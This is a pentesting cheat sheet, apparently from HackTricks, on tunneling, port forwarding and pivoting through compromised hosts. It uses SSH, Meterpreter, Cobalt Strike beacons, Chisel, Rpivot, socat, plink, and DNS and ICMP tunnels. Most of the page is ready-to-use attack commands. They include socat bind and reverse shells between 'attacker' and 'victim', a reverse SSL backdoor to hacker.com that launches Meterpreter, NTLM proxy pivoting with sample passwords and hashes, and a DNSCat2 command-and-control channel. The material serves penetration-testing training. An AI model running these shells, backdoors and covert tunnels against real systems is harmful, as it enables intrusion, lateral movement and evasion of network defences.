# Tunneling and Port Forwarding
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## Nmap tip {% hint style="warning" %} **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. {% endhint %} ## **Bash** **Host -> Jump -> InternalA -> InternalB** ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; nc -lvnp 5985 0backpipe # On InternalA accessible from Jump and can access InternalB ## Expose port 3333 and connect it to the winrm port of InternalB exec 3<>/dev/tcp/internalB/5985 exec 4<>/dev/tcp/Jump/3333 cat <&3 >&4 & cat <&4 >&3 & # Fom the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` ## **SSH** SSH graphical connection (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Local Port2Port Open new Port in SSH Server --> Other port ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` ### Port2Port Local port --> Compromised host (SSH) --> Third\_box:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) Local Port --> Compromised host (SSH) --> Wherever ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` ### VPN-Tunnel You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash ssh username@server -w any:any #This wil create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ``` Enable forwarding in Server side ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` Set new route on client side ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` ## SSHUTTLE You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ Example, forwarding all the traffic going to 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` ## Meterpreter ### Port2Port Local port --> Compromised host (active session) --> Third\_box:Port ```bash # Inside a meterpreter session portfwd add -l -p -r ``` ### SOCKS ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` Another way: ```bash background #meterpreter session use post/multi/manage/autoroute set SESSION set SUBNET #Ex: set SUBNET 10.1.13.0 set NETMASK run use auxiliary/server/socks_proxy set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` ## Cobalt Strike ### SOCKS proxy Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` ### rPort2Port {% hint style="warning" %} In this case the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` To note: * Beacon's reverse port forward **always tunnels the traffic to the Team Server** and the **Team Server sends the traffic to its intended destination**, so shouldn't be used to relay traffic between individual machines. * The **traffic is tunnelled inside Beacon's C2 traffic**, not over separate sockets, and also works over P2P links. * You **don't need to be a local admin** to create reverse port forwards on high ports. ### rPort2Port local {% hint style="warning" %} In this case the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port {% endhint %} ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` ## Windows netsh ### Port2Port You need to be local admin (for any port) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 # Check the port forward was created: netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Chisel You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ You need to use the **same version for client and server** ### socks ```bash ./chisel server -p 8080 --reverse #Server ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client #And now you can use proxychains with port 1080 (default) ``` ### Port forwarding ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 ``` ## Rpivot [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) Reverse tunnel. The tunnel is started from the victim.\ A socks4 proxy is created on 127.0.0.1:1080 ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` ```bash victim> python client.py --server-ip --server-port 9999 ``` Pivot through **NTLM proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) ### Bind shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` ### Reverse shell ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ### Port2Port ```bash socat TCP-LISTEN:,fork TCP:: & ``` ### Port2Port through socks ```bash socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` ### Meterpreter through SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 ``` ```bash victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` [https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) ### SSL Socat Tunnel **/bin/sh console** Create certificates in both sides: Client and Server ```bash # Execute this commands in both sides FILENAME=socatssl openssl genrsa -out $FILENAME.key 1024 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt cat $FILENAME.key $FILENAME.crt >$FILENAME.pem chmod 600 $FILENAME.key $FILENAME.pem ``` ```bash attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` ### Remote Port2Port Connect the local SSH port (22) to the 443 port of the attacker host ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` ## Plink.exe It's like a console PuTTY version ( the options are very similar to a ssh client). As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` ## Proxify Windows GUI Apps You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. ## NTLM proxy bypass The previously mentioned tool: **Rpivot**\ **OpenVPN** can also bypass it, setting these options in the configuration file: ```bash http-proxy 8080 ntlm ``` ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ Example that forward port 443 ``` Username Alice Password P@ssw0rd Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. ## YARP A reverse proxy create by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling ### Iodine [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` ### DNSCat2 Establishes a C\&C channel through DNS. It doesn't need root privileges. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com ``` **Port forwarding with dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` #### Change proxychains DNS Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** (hardcoded). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**. ## Tunnels in Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) ## ICMP Tunneling ### Hans [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` ## Other tools to check * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) * [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)
Support HackTricks and get benefits! - Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**